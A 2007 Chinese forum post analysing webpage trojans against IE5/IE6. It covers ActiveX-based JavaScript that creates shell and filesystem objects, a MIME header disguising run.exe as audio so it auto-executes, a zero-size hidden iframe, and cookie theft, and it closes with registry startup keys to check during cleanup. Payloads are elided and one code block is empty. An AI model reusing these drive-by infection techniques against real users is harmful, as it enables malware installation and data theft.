网页病毒、网页木马机理深度剖析

superadmin · 发表于 2007-11-9 22:20:06

网页病毒、网页木马的制作方式

　　Ⅰ.Javascript.Exception.Exploit

　　利用JS+WSH的完美结合，来制作恶意网页的方法几乎是所有恶意站点必有的“功能”。

　　Ⅱ. 错误的MIME Multipurpose Internet Mail Extentions，多用途的网际邮件扩充协议头.

　　几乎是现在网页木马流行利用的基本趋势，这个漏洞在IE5.0到IE6.0版本中都有，对这么一个全能的漏洞，大家怎能不重视?

　　Ⅲ..EXE to .BMP + Javascritp.Exception.Exploit

　　具体的.EXE转化到.BMP的文章我想大家都见到过，而且不只一次。应用方法很简单：诱骗浏览者上当。

　　Ⅳ. iframe 漏洞的利用

　　当微软的IE窗口打开另一个窗口时，如果子窗口是另一个域或安全区的话，安全检查应当阻止父窗口访问子窗口。但事实并非如此，父窗口可以访问子窗口文档的frame，这可能导致父窗口无论是域或安全区都能在子窗口中设置Frame或IFrame的URL。这会带来严重的安全问题，通过设置URL指向javascript协议，父窗口能在子域环境下运行脚本代码，包括任意的恶意代码。攻击者也能在“我的电脑”区域中运行脚本代码。这更会造成严重的后果。

　　Ⅴ.通过安全认证的CAB,COX

　　此类方法就是在.CAB文件上做手脚，使证书.SPC和密钥.PVK合法

　　原理：IE读文件时会有文件读不出，就会去“升级”这样它会在网页中指定的位置找 .cab 并在系统里写入个CID读入.cab里的文件。

　　方法：.cab是WINDOWS里的压缩文件，我们知道IE里所用的安全文件是用签名的CAB也不例外，所做的CAB是经过安全使用证书引入的。也就是说IE认证攻击，只所以每次都能入侵我的脑，是因为它通过的是IE认证下的安全攻击，这样不管我怎么做都没办法。

　　Ⅵ.EXE文件的捆绑

　　现在的网页木马捆绑机几乎是开始泛滥了，多的数不胜数。再将生成的MHT文件进行加密，好，这样一来，连我们最信任的杀毒软件也无效了。

　　网页病毒、网页木马的运行机理分析

　　Ⅰ.Javascript.Exception.Exploit

　　精华语句：

Function destroy(){
　　try
　　{
　　//ActiveX initialization 初始化ActiveX，为修改注册表做准备
　　a1=document.applets[0];
　　//获取applet运行对象，以下语句指向注册表中有关IE的表项
　　a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
　　a1.createInstance();
　　Shl = a1.GetObject();
　　a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
　　a1.createInstance();
　　FSO = a1.GetObject();
　　a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
　　a1.createInstance();
　　Net = a1.GetObject();
　　try
　　{
　　开始做坏事
　　}
　　}
　　catch(e)
　　{}
　　}
　　catch(e)
　　{}
　　}
　　function do()
　　{
　　//初始化函数，并每隔一秒执行修改程序
　　setTimeout("destroy()", 1000); //设定运行时间1秒
　　}
　　Do() //坏事执行函数指令

　　全部是JS编写，没有什么高深的技术，但它却可以把你的计算机注册表改的是乱七八糟，在你的计算机里留下各式各样的垃圾，甚至于连声招呼都不打就G了你的硬盘。所列出的整段函数看起来简单明了，声明函数，初始化环境，取得注册对象，执行读，写，删权限，定义操作时间。

superadmin · 发表于 2007-11-9 22:20:23

Ⅱ. 错误的MIME Multipurpose Internet Mail Extentions，多用途的网际邮件扩充协议头.

　　精华语句：

   Content-Type: multipart/related;
　　type="multipart/alternative";
　　boundary="====B===="
　　--====B====
　　Content-Type: multipart/alternative;
　　boundary="====A===="
　　--====A====
　　Content-Type: text/html;
　　Content-Transfer-Encoding: quoted-printable
　　--====A====--
　　--====B====
　　Content-Type: audio/x-wav;
　　name="run.exe"
　　Content-Transfer-Encoding: base64
　　Content-ID: ---以下省略AAAAA N+1个---

　　把run.exe的类型定义为audio/x-wav，这下清楚了，这是利用客户端支持的 MIME(多部分网际邮件扩展，Multipart Internet Mail Extension) 类型的漏洞来完成的。当申明邮件的类型为audio/x-wav时，IE存在的一个漏洞会将附件认为是音频文件自动尝试打开，，结果导致邮件文件x.eml中的附件run.exe被执行。在win2000上，即使是用鼠标点击下载下来的 x.eml，或是拷贝粘贴，都会导致x.eml中的附件被运行。整个程序的运行还是依靠x.eml这个文件来支持。Content-Transfer-Encoding: base64 Content-ID: 从这我们可以看出，由于定义后字符格式为base64，那么一下的代码全部为加密过的代码，里面可以是任何执行的命令：

   〈script language=vbs〉
　　On Error Resume Next· 容错语句，避免程序崩溃
　　set aa=CreateObject("WScript.Shell")·建立WScript对象
　　Set fs = CreateObject("Scripting.FileSystemObject")·建立文件系统对象
　　Set dir1 = fs.GetSpecialFolder(0)·得到Windows路径
　　Set dir2 = fs.GetSpecialFolder(1)·得到System路径
　　……省略……

　　下面代码该做什么各位都该清楚吧.这就是为什么很多人中毒后不能准确的清除全部的病毒体的原因，也是很多杀毒软件的一个通病。病毒监控只杀当时查到的，新建的却置之不理。

　　Ⅲ. iframe 漏洞的利用

　　一、窃取浏览者的COOKIES。

　　二、<iframe src=run.eml width=0 height=0〉〈/iframe〉

　　常见的木马运用格式，高度和宽度为0的一个框架网页，我想你根本看不到它。除非你的浏览器不支持框架!

　　三、又是一个框架引用的新方式，对type="text/x-scriptlet" 的调整后，就可以实现和eml格式文件同样的效果，更是防不胜防。

　　Ⅳ. Microsoft Internet Explorer浏览器弹出窗口Object类型验证漏洞漏洞的利用

　　精华代码：

　　----- code cut start for run.asp -----

　　----- code cut end for run.asp -----

　　笔者以为，这个方法是现行的大部分木马网页中使用的频率最高的一个。效果绝对是最好的。不管是你IE5.0还是IE6.0还是+SP1补丁的。我们都敢大声的说：IE6.0+SP1也不是万能的。呵呵，是不是想改用mozilla了?

　　总结：

　　几乎所有类型的网页病毒都有一个特性，就是再生，如何再生，让我们从注册表中的启动项开始分析，注册表中管理启动的主键键值分别为：

   [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
　　[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
　　[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
　　[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
　　[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
　　[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
　　[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]

　　确认主键下没有加载任何分键值.另外，在启动配置器里的autoexec.bat ,win.ini,system.ini以及在WIN 9X下的winstart.ini文件，其中的存在LOAD=键的，它的值是空，不是空格，只有=号。Autoexec.bat没有加载任何程序，在「开始」菜单\程序\启动文件夹下不存在任何程序，那样才能有效的去掉一个病毒的再生功能。不叫它开机运行，或者不在运行，那我们就可以把它从计算机上请出去。

		自动登录	找回密码
密码			注册

全国各地医院查询	重量转换换算	RGB颜色查询	交通标志大全	各类快递查询
简体繁体转换	黄金价格实时走势	万年历查询	实时汇率转换	列车时刻查询
在线翻译工具	CSS中文手册	HTML学习教程	MySQL中文手册	JavaScript中文手册
PHP安全基础手册	PHP5面向对象编程教程	正则表达式系统教程	SQL Server精华	Apache 2.2 中文手册
DOS命令全集指南	windows脚本技术中文版	股票行情查询	历史上的今天	邮编区号查询
长度转换换算	货币汇率转换	常用电话号码	体育彩票查询	手机位置查询
域名Whois信息查询	谷歌PR值查询	台州网站建设	台州网站开发	台州域名注册
天气预报查询	长度转换换算器	在线电子地图	车牌号码查询	中国百家姓查询

网页病毒、网页木马机理深度剖析

相关帖子